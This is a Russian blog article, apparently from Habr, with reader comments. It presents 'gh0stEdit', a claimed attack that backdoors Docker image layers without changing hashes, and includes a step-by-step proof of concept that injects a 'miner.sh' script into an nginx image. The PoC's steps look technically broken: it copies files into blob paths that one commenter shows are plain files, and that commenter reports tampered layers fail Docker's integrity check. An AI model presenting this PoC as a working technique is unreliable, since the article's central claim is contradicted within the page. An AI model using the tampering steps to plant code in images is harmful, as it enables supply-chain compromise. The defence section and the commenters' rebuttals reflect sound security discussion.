Схема атаки gh0stEdit: вредонос встраивается в слой Docker-образа, а стандартные проверки изменений не выявляют.
Схема атаки gh0stEdit: вредонос встраивается в слой Docker-образа, а стандартные проверки изменений не выявляют.

Docker и контейнеризация давно стали стандартом. Мы подписываем образы, сканируем их на уязвимости, используем приватные реестры. Кажется, что цепочка поставки надёжно защищена.

Но исследователи показали атаку gh0stEdit (arxiv.org, 2025), которая ломает привычные представления. Суть: можно внедрить вредоносный код в Docker-образ так, что это не видно в истории, подписях и стандартных сканерах.


Пример атаки (PoC)

Ниже — демонстрация в упрощённом виде.

1. Берём базовый образ

docker pull nginx:alpine
docker save nginx:alpine -o nginx.tar

Теперь у нас есть tar-архив образа.


2. Извлекаем слои

mkdir exploit && tar -xf nginx.tar -C exploit
cd exploit

Внутри будут папки вида blobs/sha256/... — это слои образа.


3. Подмена содержимого

Допустим, мы хотим встроить «троян» — скрипт miner.sh.

echo -e '#!/bin/sh\necho "Mining started..."' > miner.sh
chmod +x miner.sh

Затем мы незаметно подмешиваем его в слой (например, в /usr/bin/).

cp miner.sh blobs/sha256/<layer-id>/usr/bin/

4. Пересборка без изменения метаданных

Ключевой трюк gh0stEdit — мы не пересчитываем хеш слоя, а оставляем прежний.
Для Docker это выглядит так, будто слой не менялся.

Файл manifest.json и repositories остаются прежними.


5. Загружаем образ обратно

tar -cf nginx_backdoored.tar *
docker load -i nginx_backdoored.tar
docker tag <id> nginx:ghosted

6. Проверка «чистоты»

docker history nginx:ghosted

Покажет ту же историю, что и у оригинала.

docker inspect nginx:ghosted

Метаданные совпадают, изменений нет.


7. Запуск и сюрприз

docker run --rm nginx:ghosted miner.sh

Вывод:

Mining started...

Образ прошёл все стандартные проверки, но внутри уже есть скрытый payload.


Почему это страшно

  • CI/CD пайплайн скачает образ, проверит подпись → «чисто».

  • Сканер уязвимостей прогонит → «чисто».

  • В продакшн попадёт контейнер с бэкдором.

Таким образом, атакующий может встроить вредонос даже в подписанный образ из «надёжного» реестра.


Как защищаться

  1. Глубокая проверка содержимого

    • Использовать cosign с принудительной пересборкой хешей.

    • Проверять бинарники внутри слоёв через SBOM (Software Bill of Materials).

  2. Runtime-мониторинг

    • Инструменты Falco, Tetragon, eBPF-хуки: обнаружение аномальных процессов (например, xmrig внутри nginx).

  3. Zero Trust к supply chain

    • Использовать только воспроизводимые сборки (reproducible builds).

    • Пересобирать сторонние образы самостоятельно.


Заключение

gh0stEdit — это напоминание: безопасность контейнеров не заканчивается на подписях и сканерах. Мы должны верифицировать содержимое и наблюдать за поведением контейнеров на рантайме.

Комментарии (0)


  1. kenomimi
    17.09.2025 08:02

    Выглядит как критическая уязвимость докера.

    По хорошему счету, надо пересчитывать все контрольные суммы всех файлов при старте, и если не совпадают - кидать отчет, что сломалось и не стартовать такой контейнер. Кто заливает в контейнер миллион файлов, тот ССЗБ, в нормальном же образе проблем с производительностью из-за пересчета хешей быть не должно.


  1. fututu
    17.09.2025 08:02

    Взял последний nginx:stable-alpine

    #ls -l blobs/sha256/
    -rw-r--r-- 1 root root    11209 фев  6  2025 004484507a9ce59a20830a5ad14f9c647642b70ac7a9ae1038dd81de12a15d13
    -rw-r--r-- 1 root root     1101 фев  6  2025 2ba769abfd1bd546ddd16f1c9b4e24af560a8a3aa2db957ffaf7b0d4c286ad01
    -rw-r--r-- 1 root root 36058112 фев  6  2025 3e8cf4ce59397596d84b0dc916a19ab590534f9bb50540da81d155eb9a88723a
    -rw-r--r-- 1 root root      482 фев  6  2025 4738256db1f8f5c49a24f0ebe4791e4715679f13659501f082d3bd4050b1745d
    -rw-r--r-- 1 root root      482 фев  6  2025 57d2bb9c4dfb7f8a58fcfc3ec5cdb8f290a0144a24978e7fe009de6e545ecd17
    -rw-r--r-- 1 root root  4425728 фев  6  2025 6a9b6a160986d8124a32ff93673da18c3a0a5e55e5e0ceb0c943d15d189f2e22
    -rw-r--r-- 1 root root     3584 фев  6  2025 8027b117c757f2e8bc1b71d51e697cdea04af5915c3767e4a0adcb22c7a08d1d
    -rw-r--r-- 1 root root      406 фев  6  2025 80a83501882e2dfa27f1a7dc8638614663c93d4ec424dabddd2e60ec10e63993
    -rw-r--r-- 1 root root      482 фев  6  2025 8e36839f19de2d000982c76bf6576d61b0c0d773c6832e6d3e9a17da2eddd4cc
    -rw-r--r-- 1 root root     1459 янв  1  1970 90bee237ff2603c52b13bd812f35aaf3b9994ea0521b1b271fb197d11f5d90dd
    -rw-r--r-- 1 root root  8088576 фев  6  2025 994456c4fd7b2b87346a81961efb4ce945a39592d32e0762b38768bca7c7d085
    -rw-r--r-- 1 root root      482 фев  6  2025 9b48ec1ccd3d32d3273adcc70a5a9eed7d3f06c06fe1ad65f767a8542af4ba03
    -rw-r--r-- 1 root root      482 фев  6  2025 a231aec314676fafeab9cb035b48bb372dacec2656ec863b8deabfb5e0039d31
    -rw-r--r-- 1 root root     4608 фев  6  2025 b886da31f8060f22917d040d32289b50b123277b252778be867c65f33caeda2a
    -rw-r--r-- 1 root root      482 фев  6  2025 bc20b64373390dec6b8c6ec94e193d60a36241eeb0226a98d719a75cf281c2d1
    -rw-r--r-- 1 root root     2560 фев  6  2025 c0ada042e9812f3d82eedfb05e0a371fc4133df082311b39e572d04f37e3384c
    -rw-r--r-- 1 root root     5120 фев  6  2025 d9eb3928f113b804e41ffe3a400a8b5c19d37f99b4c618a905fb3d4e1afe36ec
    -rw-r--r-- 1 root root     7168 фев  6  2025 f17463b2e0eb0dc08a7f5232cd1b5897ecfb3f526dc5dd69948152789a153554
    

    Хм. Это файлы.

    Docker version 26.1.5+dfsg1, build a72d7cd

    Нашел какой-то свой старый образ, тут блобы каталогами и внутри каждого слоя лежит layer.tar, но даже если изменить содержимое layer.tar в каком-то слое, допихав туда чего-нибудь и собрав обратно layer.tar и образ целиком обратно, на docker load получим

    failed to load image: layer integrity check failed  

    Вероятно эта уязвимость актуальна для каких-то старых версий docker.


  1. D1abloRUS
    17.09.2025 08:02

    Открыли америку, используйте @sha256: имаджа а не тэг...